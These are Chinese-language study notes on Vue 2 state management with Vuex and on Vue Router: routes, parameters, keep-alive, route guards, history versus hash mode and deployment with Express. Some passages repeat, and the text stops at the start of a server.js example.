                count.js ,其他person.js和count.js写法一样
                    //求和相关的配置
                    export default {
                        namespaced:true,
                        actions:{
                            jiaOdd(context,value){
                                console.log('actions中的jiaOdd被调用
了')
                                if(context.state.sum % 2){
                                    context.commit('JIA',value)
                                }
                            },
                            jiaWait(context,value){
                                console.log('actions中的jiaWait被调用
了')
                                setTimeout(()=>{
                                    context.commit('JIA',value)
                                },500)
                            }
```

```
                        },
                        mutations:{
                            JIA(state,value){
                                console.log('mutations中的JIA被调用
了')
                                state.sum += value
                            },
                            JIAN(state,value){
                                console.log('mutations中的JIAN被调用
了')
                                state.sum -= value
                            },
                        },
                        state:{
                            sum:0, //当前的和
                            school:'尚硅谷',
                            subject:'前端',
                        },
                        getters:{
                            bigSum(state){
                                return state.sum*10
                            }
                        },
                    }
                person.js :
                    //人员管理相关的配置
                    import axios from 'axios'
                    import { nanoid } from 'nanoid'
                    export default {
                        namespaced:true,
                        actions:{
                            addPersonWang(context,value){
                                if(value.name.indexOf('王') === 0){

context.commit('ADD_PERSON',value)
                                }else{
                                    alert('添加的人必须姓王! ')
                                }
                            },
                            addPersonServer(context){
```

```
axios.get('https://api.uixsj.cn/hitokoto/get?
type=social').then(//axios.get().then(response=>{},error=>
{})//response，error成功和失败的回调
                                    response => {

context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
                                    },
                                    error => {
                                        alert(error.message)
                                    }
                                )
                            }
                        },
                        mutations:{
                            ADD_PERSON(state,value){
                                console.log('mutations中的ADD_PERSON
被调用了')
                                state.personList.unshift(value)
                            }
                        },
                        state:{
                            personList:[
                                {id:'001',name:'张三'}
                            ]
                        },
                        getters:{
                            firstPersonName(state){
                                return state.personList[0].name
                            }
                        },
                    }
```

组件中的内容和上面对象形式的内容一样，

vuex步骤：

1.npm i vuex，安装vuex版本须和vue版本相对应，因为vuex4版本只能在vue3中使用，vuex3版本只能用vue2，否则就会报错

2.Vue.use(Vuex),之后在创建vm时传入store配置项，

```
        new Vue({
            el:'#app',
            render: h => h(App),
```

store:'store'//官网上直接在src文件夹下面建一个store文件夹，里面写一个index.js里面写vuex中的内容

})

3.store，官网上直接在src文件夹下面建一个store文件夹，里面写一个index.js里面写vuex中的内容,或者写一个vuex文件夹里面写store文件夹

index.js中写的就是该文件用于创建vuex中最为核心的store，所以需要准备state，actions，mutations

引入vuex，使用vuex:

```
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)
```

准备actions--用于响应组件中的动作，const actions = {} ,actions里可以写一些逻辑，里面可以写多个函数步骤达到最后的效果功能

准备mutations--用于操作数据（state），const mutations = {}

准备state--用于存储数据，const state = {}

准备getters--用于将state中的数据进行加工

准备mapState，这个写在组件的计算属性computed里面

借助mapState生成计算属性，从state中读取数据。（对象写法）

借助mapState生成计算属性，从state中读取数据。（数组写法）(常用)

借助mapGetters生成计算属性，从getters中读取数据。（对象写法）

借助mapGetters生成计算属性，从getters中读取数据。（数组写法）(常用)

借助mapMutations生成对应的方法，方法中会调用commit去联系mutations(对象写法)(常用)

借助mapMutations生成对应的方法，方法中会调用commit去联系mutations(数组写法)

借助mapActions生成对应的方法，方法中会调用dispatch去联系actions(对象写法) (常用)

借助mapActions生成对应的方法，方法中会调用dispatch去联系actions(数组写法)

创建并暴露store，export default new Vuex.Store()传入的配置对象

准备好了，就引入main.js中，import store from './store',vm中的store可以写了，

要用dispatch等api，要传的动作如jia ，得再actions,mutations中都有这个动作如jia

4.vc(都能看得见store)==>$store

1.概念

- 在Vue中实现集中式状态（数据）管理的一个Vue插件，对vue应用中多个组件的共享状态进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件间通信。

2.何时使用？

- 多个组件需要共享数据时

3.搭建vuex环境

1. 创建文件：```src/store/index.js```

```js
//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions对象——响应组件中用户的动作
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}

//创建并 暴露store
export default new Vuex.Store({
    actions,
    mutations,
    state
})
```

2. 在```main.js```中创建vm时传入```store```配置项

```js
......
//引入store
import store from './store'
......
```

```
                    //创建vm
                    new Vue({
                        el:'#app',
                        render: h => h(App),
                        store
                    })
                    ```
    ###   4.基本使用
                1. 初始化数据、配置```actions```、配置```mutations```，操作文件```store.js```
                    ```js
                    //引入Vue核心库
                    import Vue from 'vue'
                    //引入Vuex
                    import Vuex from 'vuex'
                    //引用Vuex
                    Vue.use(Vuex)
                    const actions = {
                        //响应组件中加的动作
                        jia(context,value){
                            // console.log('actions中的jia被调用了',miniStore,value)
                            context.commit('JIA',value)
                        },
                    }
                    const mutations = {
                        //执行加
                        JIA(state,value){
                            // console.log('mutations中的JIA被调用了',state,value)
                            state.sum += value
                        }
                    }
                    //初始化数据
                    const state = {
                        sum:0
                    }
                    //创建并暴露store
                    export default new Vuex.Store({
                        actions,
                        mutations,
```

```
                state,
            })
            ```
        2. 组件中读取vuex中的数据：```$store.state.sum```
        3. 组件中修改vuex中的数据：```$store.dispatch('action中的方法名',数据)``` 或 ```$store.commit('mutations中的方法名',数据)```
        > 备注：若没有网络请求或其他业务逻辑，组件中也可以越过actions，即不写```dispatch```，直接编写```commit```

    ### 5.getters的使用
        1. 概念：当state中的数据需要经过加工后再使用时，可以使用getters加工。
        2. 在```store.js```中追加```getters```配置
            ```js
            ......
            const getters = {
                bigSum(state){
                    return state.sum * 10
                }
            }
            //创建并暴露store
            export default new Vuex.Store({
                ......
                getters
            })
            ```
        3. 组件中读取数据：```$store.getters.bigSum```
    ### 6.四个map方法的使用
        1. mapState方法：用于帮助我们映射```state```中的数据为计算属性
            ```js
            computed: {
                //借助mapState生成计算属性：sum、school、subject（对象写法）

...mapState({sum:'sum',school:'school',subject:'subject'}),

                //借助mapState生成计算属性：sum、school、subject（数组写法）

...mapState(['sum','school','subject']),
            },
```

```
                2. <strong>mapGetters方法：</strong>用于帮助我们映射```getters```中的数据为计算属性
                    ```js
                    computed: {
                        //借助mapGetters生成计算属性：bigSum（对象写法）
                        ...mapGetters({bigSum:'bigSum'}),

                        //借助mapGetters生成计算属性：bigSum（数组写法）
                        ...mapGetters(['bigSum'])
                    },
                ```
                3. mapActions方法：用于帮助我们生成与```actions```对话的方法，即：包含```$store.dispatch(xxx)```的函数
                    ```js
                    methods:{
                        //靠mapActions生成：incrementOdd、incrementWait（对象形式）
                        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

                        //靠mapActions生成：incrementOdd、incrementWait（数组形式）
                        ...mapActions(['jiaOdd','jiaWait'])
                    }
                    ```
                4. mapMutations方法：用于帮助我们生成与```mutations```对话的方法，即：包含```$store.commit(xxx)```的函数
                    ```js
                    methods:{
                        //靠mapActions生成：increment、decrement（对象形式）
                        ...mapMutations({increment:'JIA',decrement:'JIAN'}),

                        //靠mapMutations生成：JIA、JIAN（对象形式）
                        ...mapMutations(['JIA','JIAN']),
                    }
                    ```
```

> 备注：mapActions与mapMutations使用时，若需要传递参数需要：在模板中绑定事件时传递好参数，否则参数是事件对象。

7.模块化+命名空间

1. 目的：让代码更好维护，让多种数据分类更加明确。
2. 修改```store.js```

```javascript
const countAbout = {
    namespaced:true,//开启命名空间
    state:{x:1},
    mutations: { ... },
    actions: { ... },
    getters: {
    bigSum(state){
        return state.sum * 10
    }
    }
}
const personAbout = {
    namespaced:true,//开启命名空间
    state:{ ... },
    mutations: { ... },
    actions: { ... }
}
const store = new Vuex.Store({
    modules: {
    countAbout,
    personAbout
    }
})
```

3. 开启命名空间后，组件中读取state数据：

```js
//方式一：自己直接读取
this.$store.state.personAbout.list
//方式二：借助mapState读取：
...mapState('countAbout',
['sum','school','subject']),
```

4. 开启命名空间后，组件中读取getters数据：

```js
//方式一：自己直接读取
```

```
this.$store.getters['personAbout/firstPersonName']
                    //方式二：借助mapGetters读取：
                    ...mapGetters('countAbout',['bigSum'])
                    ```
                5. 开启命名空间后，组件中调用dispatch
                    ```js
                    //方式一：自己直接dispatch

this.$store.dispatch('personAbout/addPersonWang',person)
                    //方式二：借助mapActions：
                    ...mapActions('countAbout',
{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
                    ```
            6. 开启命名空间后，组件中调用commit
                    ```js
                    //方式一：自己直接commit

this.$store.commit('personAbout/ADD_PERSON',person)
                    //方式二：借助mapMutations：
                    ...mapMutations('countAbout',
{increment:'JIA',decrement:'JIAN'}),
                    ```
```

40.*src*路由

## 路由

路由器的两种工作模式：history(浏览器路径不带/#)和hash(浏览器路径带/#，路径/#等后面的内容都是hash值)，但是但凡有点审美的都是history模式赶紧点

1.hash模式兼容性好点，history模式兼容性差点，，涉及到项目上线问题，上线hash模式就不需要后端配合，但是history模式需要后端的配合，否则404，后端会根据服务器中所写的资源以及带过来的资源进行匹配，最终决定哪些是属于前端路由、哪些是后端路由的，有很多种方式：现在就推荐nodejs的一个中间件专门用于解决这个问题，Java也有一些固定的内库,还有nginx中间代理作用，他来分辨是前端还是后端路由，也可以解决，这里就不提了，再npm网站中搜索connect-history-api-fallback,咱们再nodejs中解决history404问题，这是npm的一个中间件，不是vue的， npm i connect-history-api-fallback,引入和使用他，app.use(history())要在使用静态资源之前使用它,这些都是基本的上线内容和解决404问题，

2.上线问题，前端把写的内容进行打包，把这些.vue文件生成最纯粹的.html,.css,.js文件,运行npm  run build,生成速度取决于内容大小和电脑读取硬盘的速度，生成内容有.js.map就是映射文件，webpack有讲过，打包人家就看public和src文件中的东西，打包出来的文件必须在服务器上做一个动作就是部署，服务器就不用后端了，用node express来搭建一个微型的服务器，
```

3.hash模式有时候如果你要分享网址，但是路径带有hash值，如果微信校验严格的话，这种hash路径就是非法,ie8以及以后的都不能运行vue写的项目

1.创建一个文件夹，打开vscode，命令行写npm init,然后起名字如lyy_test_server,然后输入命令行npm i express,然后在文件中建一个server.js文件，写好后输入命令node server运行，然后打开浏览器输入localhost:5005/person展示写的内容name和age

2.打包好的前端文件一般放在服务器文件中，一般放在static文件中,然后再index.js中写入app.use(express.static(_dirname+'/static'))，停掉服务器，再重新启动服务器，因为5005本地缓存中没有school：atguigu,8080本地缓存中才有school：atguigu

组件内的路由守卫：（没有全局和独享路由守卫）和mounted同级，如果想写组件单独独有的信息，可以用他。可以和全局后置路由守卫一起用

全局路由守卫：

1.全局前置路由守卫————初始化的时候被调用、每次路由切换之前被调用，全局前置路由守卫可写权限

2.全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用，全局后置路由守卫可以用于写网页最上面的标题，随路由切换，标题也变，但是还有点小问题，就是刚打开会显示public文将中的index.js中的title标签的内容，因为这是最开始的标题名，其内容对应的时package.json中的name,

路由守卫（重要，开发中用的多）：有一些路由是有权限的，有权限才能看，没权限就不能看。设置权限就是用路由守卫设置，如登录，如管理员权限和普通权限，一般用到浏览器的local Storage中的token，index.js不能直接new的时候暴露，这样没法写路由守卫，得后面再暴露export default router

独享路由守卫：（独享路由守卫只有beforeEnter，没有后置，所以可以显示全局后置路由守卫，但是不能和全局前置路由守卫同时写）

生命周期函数就是vue在特殊的时候调用的特殊的函数。

两个新的生命周期钩子：activated（点击该组件，该路由组件激活），deactivated（该组件切换到其他路由组件，该路由组件失活）,在mounted，beforeDestroy钩子中开启和清除定时器，但是因为news被缓存了，没有被销毁，所以定时器一直开着，所以得用activated和deactivated

完善路由的技巧：缓存路由组件keep-alive,在谁的页面中展示就用keep-alive，当在输入框中输入信息，但是还没有点击确定，当切换路由后，再次回来的时候，输入框中文字还存在，因为每次切换之前的路由组件都销毁了，所以用到缓存组件keep-alive，不写include的话就是全部都缓存,写了include里面写的名字是组件名

命名路由：可以跳转的时候简化编码（路径不长的时候才有优势）

（通过传参）进行路由组件的复用：(params参数对象写法必须使用name,不能用path，开发中这两种都可以)

1.跳转路由并携带query参数，to的字符串写法和to的对象写法，建议用对象的写法，看起来不乱，浏览器显示地址为：localhost:8080/#/home/message/detail?id=003&title=消息003，这种就是query参数写的方式

2.路由的params参数params参数写的方式：浏览器显示地址为：localhost:8080/#/home/message/detail/001/消息001，

路由的props参数计算属性简化插值的内容(三种写法：对象(用的少，因为传的死数据)，布尔值（必须使用的是params参数才行），函数(比较高端))

编程式路由导航：

1.可以使用按钮等进行跳转或者等一段时间自动跳转，就是通过点击事件等方法中使用$router的push（可回退）和replace（不能回退，已经替换）,还有回退back和前进forward,还有go(-2)（-2就是后退2步，2就是前进2步）

2.$router的push和replace里面的内容就是和router-link中的to的对象写法内容一样,go可前进可后退,back后退，forward前进

组件分为一般组件和路 由组件，一般组件：用到组件标签是一般组件；组件标签：靠路由规则匹配出来，有路由器渲染出来的组件

所以为了分组件类型：pages:用于存放路由组件；components:用于存放一般组件；这样便于管理这些组件

最好先想路由规则，再写路由跳转匹配等。写路由规则一级路由path要写/，但是二级以后的路由不需要加/

制定了多级（嵌套）路由规则 ：

index.js

```
export default new VueRouter({
  routes:[
    {
      path:'/about',
      component:About
    },
    {
      path:'/home',  //（一级路由）
      component:Home,
      children:[//数组是因为可以写多个二级路由
        {
          path:'news',  //（二级路由）
          component:News,
        },
        {
          path:'message',
          component:Message,
          children:[
            {
              path:'detail',//三级路由
              component:Detail,
            }
          ]
        }
      ]
    }
  ]
})
```

app.vue

About
Home
home.vue

- News
- Message

（通过传参）进行路由组件的复用：1.跳转路由并携带query参数，to的字符串写法和to的对象写法。2.跳转路由并携带params参数，to的字符串写法和to的对象写法 query参数写的方式：浏览器显示地址为：localhost:8080/#/home/message/detail?id=003&title=消息003， children:[{ path:'detail',//三级路由 component:Detail, }] message.vue

-

```
                                <!-- 跳转路由并携带query参数，to的对象写法 -->
                                <router-link :to="{
                                    path:'/home/message/detail',
                                    query:{
                                        id:m.id,
                                        title:m.title
                                    }
                                }">
                                    {{m.title}}
                                </router-link>

                            </li>
                        </ul>
                        data() {
                            return {
                                messageList:[
                                    {id:'001',title:'消息001'},
                                    {id:'002',title:'消息002'},
                                    {id:'003',title:'消息003'}
                                ]
```

```
                        }
                    },
                detail.vue
                    <template>
                        <ul>
                            <li>消息编号：{{$route.query.id}}
</li>
                            <li>消息标题：
{{$route.query.title}}</li>
                        </ul>
                    </template>
                    <script>
                        export default {
                            name:'Detail',
                            mounted() {
                                console.log(this.$route)
                            },
                        }
                    </script>
            路由的params参数params参数写的方式：浏览器显示地址为：
localhost:8080/#/home/message/detail/001/消息001，
            params参数对象写法必须使用name,不能用path
                 index.js
                    children:[
                        {
                            name:'xiangqing',
                            path:'detail/:id/:title',//得配合
组件中params写法，使用占位符申明接收params参数
                            component:Detail,
                        }
                    ]
                 message.vue
                    <ul>
                        <li v-for="m in messageList"
:key="m.id">
                            <!-- 跳转路由并携带params参数，to的
字符串写法 -->
                            <!-- <router-link
:to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}
</router-link>   -->
```

```
                                <!-- 跳转路由并携带params参数，to的
对象写法 -->
                                <router-link :to="{
                                    name:'xiangqing',
                                    params:{
                                        id:m.id,
                                        title:m.title
                                    }
                                }">
                                    {{m.title}}
                                </router-link>
                            </li>
                        </ul>
                        data() {
                            return {
                                messageList:[
                                    {id:'001',title:'消息001'},
                                    {id:'002',title:'消息002'},
                                    {id:'003',title:'消息003'}
                                ]
                            }
                        },
                    detail.vue
                        <template>
                            <ul>
                                <li>消息编号：{{$route.params.id}}
</li>
                                <li>消息标题：
{{$route.params.title}}</li>
                            </ul>
                        </template>
                        <script>
                            export default {
                                name:'Detail',
                                mounted() {
                                    console.log(this.$route)
                                },
                            }
                        </script>
```

接收的{{$route.params.id}}里面写的还是有点繁琐，所以用到路由的props参数，简化，使用计算属性会使得更麻烦

计算属性简化插值的内容

```
detail.vue
    <template>
        <ul>
            <li>消息编号：{{id}}</li>
            <li>消息标题：{{title}}</li>
        </ul>
    </template>
    <script>
        export default {
            name:'Detail',
            computed: {
                id(){
                    return
this.$route.query.id
                },
                title(){
                    return
this.$route.query.title
                },
            }
```

路由的props参数计算属性简化插值的内容(三种写法：对象(用的少，因为传的死数据)，布尔值（必须使用的是params参数才行），函数(比较高端))

```
index.js
    children:[
        {
            name:'xiangqing',
            path:'detail',
            component:Detail,

            //props的第一种写法，值为对象，
(用的少，因为传的死数据)该对象中的所有key-value都会以props的形式传给
Detail组件。
            // props:{a:1,b:'hello'}

            //props的第二种写法，值为布尔值，
若布尔值为真，就会把该路由组件收到的所有params参数，以props的形式传给
Detail组件。
            // props:true
```

```
                                    //props的第三种写法，值为函数(靠
返回值)
                                    // props({query}){//解构赋值
                                    //     return {
                                    //         id:query.id,
                                    //
title:query.title,
                                    //         a:1,
                                    //         b:'hello'
                                    //     }
                                    // }
                                    // props({query:{is,title}})
{//解构赋值连续写法，不推荐，语义不明确
                                    //     return {
                                    //         id:id,
                                    //         title:title,
                                    //         a:1,
                                    //         b:'hello'
                                    //     }
                                    // }
                                    props($route){//传参的可为动态
数据
                                        return {
                                            id:$route.query.id,

title:$route.query.title,
                                            a:1,
                                            b:'hello'
                                        }
                                    }
                                    // props(){//不传参的话，
return的都是死数据
                                    //     return
{id:'666',title:'你好啊',}
                                    // }

                                }
                            ]
                        detail.vue
                            <template>
                                <ul>
                                    <li>消息编号：{{id}}</li>
```

```
                                <li>消息标题：{{title}}</li>
                            </ul>
                        </template>
                        <script>
                            export default {
                                name:'Detail',
                                props:['id','title'],
                            }
                        </script>        </script>
```

路由meta参数（免费提供的容器放数据）：路由元信息，就是程序员自己定义的一些信息，给每个路由加上权限的校验，可以简化在路由守卫中判断

```
                    // meta.isAuth//判断是否需要鉴权
                    {
                        name:'xiaoxi',
                        path:'message',
                        component:Message,
                        meta:{isAuth:true,title:'消息'},
                        children:[
                            {
                                name:'xiangqing',
                                path:'detail',
                                component:Detail,
                                meta:{isAuth:true,title:'详
情'},
                                //props的第三种写法，值为函数
                                props($route){
                                    return {
                                        id:$route.query.id,

title:$route.query.title,
                                        a:1,
                                        b:'hello'
                                    }
                                }

                            }
```

命名路由：可以跳转的时候简化编码（路径不长的时候才有优势）

```
            index.js
                {
                    name:'guanyu',
                    path:'/about',
```

```
                    component:About
                },
                children:[
                    {
                        name:'xiangqing',
                        path:'detail',
                        component:Detail,
                    }
                ]
            message.vue
                <router-link :to="{
                    name:'xiangqing',
                    query:{
                        id:m.id,
                        title:m.title
                    }
                }">
                    {{m.title}}
                </router-link>
            app.vue
                <router-link class="list-group-item" active-
class="active" :to="{name:'guanyu'}">About</router-link>
                或(最好还是后面这个，简单)
                <router-link class="list-group-item" active-
class="active" to="/about">About</router-link>
```

浏览器是否可回退：使用router-link的replace属性，如果不能回退就用replace，想回退就不写，回退就是浏览器历史记录不停的压栈，不停的push，不回退就是replace替换,替换当前栈顶的即当前记录

```
                <router-link class="list-group-item"
:replace="true" active-class="active" :to="
{name:'guanyu'}">About</router-link>
                或简写
                <router-link class="list-group-item" replace
active-class="active" :to="{name:'guanyu'}">About</router-
link>
```

完善路由的技巧：缓存路由组件keep-alive,在谁的页面中展示就用keep-alive，当在输入框中输入信息，但是还没有点击确定，当切换路由后，再次回来的时候，输入框中文字还存在，因为每次切换之前的路由组件都销毁了，所以用到缓存组件keep-alive，不写include的话就是全部都缓存,写了include里面写的名字是组件名

```
            // news组件中的信息在home组件中展示
            news.vue
```

```
                <ul>
                    <li>news001 <input type="text"></li>
                    <li>news002 <input type="text"></li>
                    <li>news003 <input type="text"></li>
                </ul>
```

home.vue

```
                <div>
                    <ul class="nav nav-tabs">
                        <li>
                            <router-link class="list-group-
item" active-class="active" to="/home/news">News</router-
link>
                        </li>
                        <li>
                            <router-link class="list-group-
item" active-class="active"
to="/home/message">Message</router-link>
                        </li>
                    </ul>
                    <!-- 缓存多个路由组件 -->
                    <!-- <keep-alive :include="
['News','Message']"> -->

                    <!-- 缓存一个路由组件 -->
                    <keep-alive include="News">//不写include
的话就是全部都缓存,写了include里面写的名字是组件名
                        <router-view></router-view>
                    </keep-alive>
                </div>
```

两个新的生命周期钩子：activated（点击该组件，该路由组件激活），deactivated（该组件切换到其他路由组件，该路由组件失活）,在mounted，beforeDestroy钩子中开启和清除定时器，但是因为news被缓存了，没有被销毁，所以定时器一直开着，所以得用activated和deactivated

news.vue （用到了定时器）

```
                <template>
                    <ul>
                        <li :style="{opacity}">欢迎学习
Vue</li>
                        <li>news001 <input type="text"></li>
                        <li>news002 <input type="text"></li>
                        <li>news003 <input type="text"></li>
                    </ul>
```

```
    </template>
    <script>
        export default {
            name:'News',
            data() {
                return {
                    opacity:1
                }
            },
            // 在mounted，beforeDestroy钩子中开启和清除定时器，但是因为news被缓存了(keep-alive)，没有被销毁，所以定时器一直开着，所以得用activated和deactivated
            /* beforeDestroy() {
                console.log('News组件即将被销毁了')
                clearInterval(this.timer)//news缓存了并没有销毁，所以清除不了定时器
            }, */
            /* mounted(){
                this.timer = setInterval(() => {
                    console.log('@')
                    this.opacity -= 0.01
                    if(this.opacity <= 0) this.opacity = 1
                },16)
            }, */

            // activated，deactivated开启和清除定时器
            activated() {
                console.log('News组件被激活了')
                this.timer = setInterval(() => {
                    console.log('@')
                    this.opacity -= 0.01
                    if(this.opacity <= 0) this.opacity = 1
                },16)
            },
            deactivated() {
                console.log('News组件失活了')
                clearInterval(this.timer)
            },
        }
```

```
</script>
```

切换的路由组件，之前的都去哪里了？----其实切换的路由组件都被销毁了，你不停的切换其实是路由组件在不停的销毁、挂载，销毁挂载等的。

该组件的this里面会多$route（里面是配置的该组件路由规则）和$router（整个应用的路由器，只有一个，多个路由规则都是由路由器保管），每个路由组件都有这两个且$router都一样。

home.vue路由组件

```
export default {
    name:'Home',
    beforeDestroy() {
        console.log('Home组件即将被销毁了')
    },
    mounted() {
        console.log('Home组件挂载完毕了',this)
        //就是把this.$route放到window.homeRoute上等，这样在控制台就能进行比较，homeRoute===aboutRoute(false)，homeRouter===aboutRouter(true)
        window.homeRoute = this.$route
        window.homeRouter = this.$router
    },
}
```

编程式路由导航：可以使用按钮等进行跳转或者等一段时间自动跳转，就是通过点击事件等方法中使用$router的push（可回退）和replace（不能回退，已经替换）,还有回退back和前进forward,还有go(-2)（-2就是后退2步，2就是前进2步）

message.vue :

```
<button @click="pushShow(m)">push查看</button>
<button @click="replaceShow(m)">replace查看</button>
methods: {
    pushShow(m){
        this.$router.push({//$router的push和replace里面的内容就是和router-link中的to的对象写法内容一样
            name:'xiangqing',
            query:{
                id:m.id,
                title:m.title
            }
        })
    },
    replaceShow(m){
        this.$router.replace({
```

```
                        name:'xiangqing',
                        query:{
                            id:m.id,
                            title:m.title
                        }
                    })
                }
            },
        banner.vue
            <button @click="back">后退</button>
            <button @click="forward">前进</button>
            <button @click="test">测试一下go</button>
            methods: {
                back(){
                    this.$router.back()
                    // console.log(this.$router)
                },
                forward(){
                    this.$router.forward()
                },
                test(){
                    this.$router.go(3)//前进3步,可前进可后退
                }
            },
```

路由守卫（重要，开发中用的多）：有一些路由是有权限的，有权限才能看，没权限就不能看。设置权限就是用路由守卫设置，如登录，如管理员权限和普通权限，一般用到浏览器的local Storage中的token，index.js不能直接new的时候暴露，这样没法写路由守卫，得后面再暴露export default router

全局路由守卫：

1.全局前置路由守卫----初始化的时候被调用、每次路由切换之前被调用，全局前置路由守卫可写权限

2.全局后置路由守卫----初始化的时候被调用、每次路由切换之后被调用，全局后置路由守卫可以用于写网页最上面的标题，随路由切换，标题也变，但是还有点小问题，就是刚打开会显示public文将中的index.js中的title标签的内容，因为这是最开始的标题名，其内容对应的时package.json中的name,

```
                index.js
                    // 该文件专门用于创建整个应用的路由器
                    const router =  new VueRouter({
                        routes:[
                            {
                                name:'guanyu',
```

```
                                path:'/about',
                                component:About,
                                meta:{title:'关于'}
                            },
                            {
                                name:'zhuye',
                                path:'/home',
                                component:Home,
                                meta:{title:'主页'},
                                children:[
                                    {
                                        name:'xinwen',
                                        path:'news',
                                        component:News,
                                        meta:
{isAuth:true,title:'新闻'}
                                    },
                                    {
                                        name:'xiaoxi',
                                        path:'message',
                                        component:Message,
                                        meta:
{isAuth:true,title:'消息'},
                                        children:[
                                            {

name:'xiangqing',

path:'detail',

component:Detail,
                                                    meta:
{isAuth:true,title:'详情'},
                                                    //props的第三
种写法，值为函数

props($route){
                                                        return {

id:$route.query.id,

title:$route.query.title,
```

```
                                                    a:1,
b:'hello'
                                                        }
                                                    }
                                                }
                                            ]
                                        }
                                    ]
                                }
                            ]
                        })
                        //全局前置路由守卫----初始化的时候被调用、每次路由切换之前被调用，指定路由每次切换前调用的函数
                        router.beforeEach((to,from,next)=>{//箭头函数或者普通函数都可以
                            console.log('前置路由守卫',to,from)
                            // 用路由mate参数判断
                            if(to.meta.isAuth){ //判断是否需要鉴权
if(localStorage.getItem('school')==='atguigu'){
                                    next()//放行，进行下一步
                                }else{
                                    alert('学校名不对，无权限查看! ')
                                }
                            }else{
                                next()
                            }
                            // 用路由name判断
if(to.name==='xinwen'||to.name==='xiaoxi'){ //判断是否需要鉴权
if(localStorage.getItem('school')==='atguigu'){
                                    next()//放行，进行下一步
                                }else{
                                    alert('学校名不对，无权限查看! ')
                                }
                            }else{
                                next()
```

```
                        }
                        // 用路由path判断

if(to.path==='/home/news'||to.path==='/home/message'){ //判
断是否需要鉴权

if(localStorage.getItem('school')==='atguigu'){
                                next()//放行，进行下一步
                            }else{
                                alert('学校名不对，无权限查
看！')
                            }
                        }else{
                            next()
                        }
                    })
                    //全局后置路由守卫----初始化的时候被调用、每次路
由切换之后被调用
                    // 全局后置路由守卫可以用于写网页最上面的标题，随
路由切换，标题也变
                    router.afterEach((to,from)=>{
                        console.log('后置路由守卫',to,from)
                        document.title = to.meta.title ||
'硅谷系统'
                    })
                    export default router
```

独享路由守卫：某一个路由所独享的（独享路由守卫只有beforeEnter，没有后置，所以可以显示全局后置路由守卫，但是不能和全局前置路由守卫同时写）

index.js

```
                    const router =  new VueRouter({
                        routes:[
                            {
                                name:'guanyu',
                                path:'/about',
                                component:About,
                                meta:{title:'关于'}
                            },
                            {
                                name:'zhuye',
                                path:'/home',
                                component:Home,
```

```
                                meta:{title:'主页'},
                                children:[
                                    {
                                        name:'xinwen',
                                        path:'news',
                                        component:News,
                                        meta:
{isAuth:true,title:'新闻'},
                                        // 独享路由守卫
                                        beforeEnter: (to,
from, next) => {
                                            console.log('独
享路由守卫',to,from)

if(to.meta.isAuth){ //判断是否需要鉴权

if(localStorage.getItem('school')==='atguigu'){
                                                    next()
                                                }else{

alert('学校名不对，无权限查看！')
                                                }
                                            }else{
                                                next()
                                            }
                                        }
                                    },
                                    {
                                        name:'xiaoxi',
                                        path:'message',
                                        component:Message,
                                        meta:
{isAuth:true,title:'消息'},
                                        children:[
                                            {

name:'xiangqing',

path:'detail',

component:Detail,
```

```
                                                meta:
{isAuth:true,title:'详情'},
                                                //props的第三
种写法，值为函数

props($route){
                                                    return {

id:$route.query.id,

title:$route.query.title,
                                                        a:1,

b:'hello'
                                                    }
                                                }

                                            }
                                        ]
                                    }
                                ]
                            }
                        ]
                    })
                    //全局后置路由守卫----初始化的时候被调用、每次路
由切换之后被调用
                    router.afterEach((to,from)=>{
                        console.log('后置路由守卫',to,from)
                        document.title = to.meta.title ||
'硅谷系统'
                    })
                    export default router
```

组件内的路由守卫：（没有全局和独享路由守卫）和mounted同级，如果想写组件单独独有的信息，可以用他。可以和全局后置路由守卫一起用

```
about.vue
    mounted() {
        // console.log('%%%',this.$route)
    },
    //通过路由规则，进入该组件时被调用，进入组件之前
调用该函数
    beforeRouteEnter (to, from, next) {
```

```
                        console.log('About--
beforeRouteEnter',to,from)
                        if(to.meta.isAuth){ //判断是否需要鉴权

if(localStorage.getItem('school')==='atguigu'){
                                next()
                            }else{
                                alert('学校名不对，无权限查
看! ')
                            }
                        }else{
                            next()
                        }
                    },

                    //通过路由规则，离开该组件时被调用，离开该组件之
前调用该函数
                    beforeRouteLeave (to, from, next) {
                        console.log('About--
beforeRouteLeave',to,from)
                        next()
                    }
                }
```

路由器的两种工作模式：history(浏览器路径不带/#)和hash(浏览器路径带/#，路径/#等后面的内容都是hash值)，但是但凡有点审美的都是history模式赶紧点

1.hash模式兼容性好点，history模式兼容性差点，，涉及到项目上线问题，上线hash模式就不需要后端配合，但是history模式需要后端的配合，否则404，后端会根据服务器中所写的资源以及带过来的资源进行匹配，最终决定哪些是属于前端路由、哪些是后端路由的，有很多种方式：现在就推荐nodejs的一个中间件专门用于解决这个问题，Java也有一些固定的内库,还有nginx中间代理作用，他来分辨是前端还是后端路由，也可以解决，这里就不提了，再npm网站中搜索connect-history-api-fallback,咱们再nodejs中解决history404问题，这是npm的一个中间件，不是vue的， npm i connect-history-api-fallback,引入和使用他，app.use(history())要在使用静态资源之前使用它,这些都是基本的上线内容和解决404问题，

2.上线问题，前端把写的内容进行打包，把这些.vue文件生成最纯粹的.html,.css,.js文件,运行npm run build,生成速度取决于内容大小和电脑读取硬盘的速度，生成内容有.js.map就是映射文件，webpack有讲过，打包人家就看public和src文件中的东西，打包出来的文件必须在服务器上做一个动作就是部署，服务器就不用后端了，用node express来搭建一个微型的服务器，

3.hash模式有时候如果你要分享网址，但是路径带有hash值，如果微信校验严格的话，这种hash路径就是非法,ie8以及以后的都不能运行vue写的项目

1.创建一个文件夹，打开vscode，命令行写npm init,然后起名字如lyy_test_server,然后输入命令行npm i express,然后在文件中建一个server.js文件，写好后输入命令node server运行，然后打开浏览器输入localhost:5005/person展示写的内容name和age

2.打包好的前端文件一般放在服务器文件中，一般放在static文件中,然后再index.js中写入app.use(express.static(_dirname+'/static'))，停掉服务器，再重新启动服务器，因为5005本地缓存中没有school：atguigu,8080本地缓存中才有school：atguigu

server.js

```
const express=require('express')
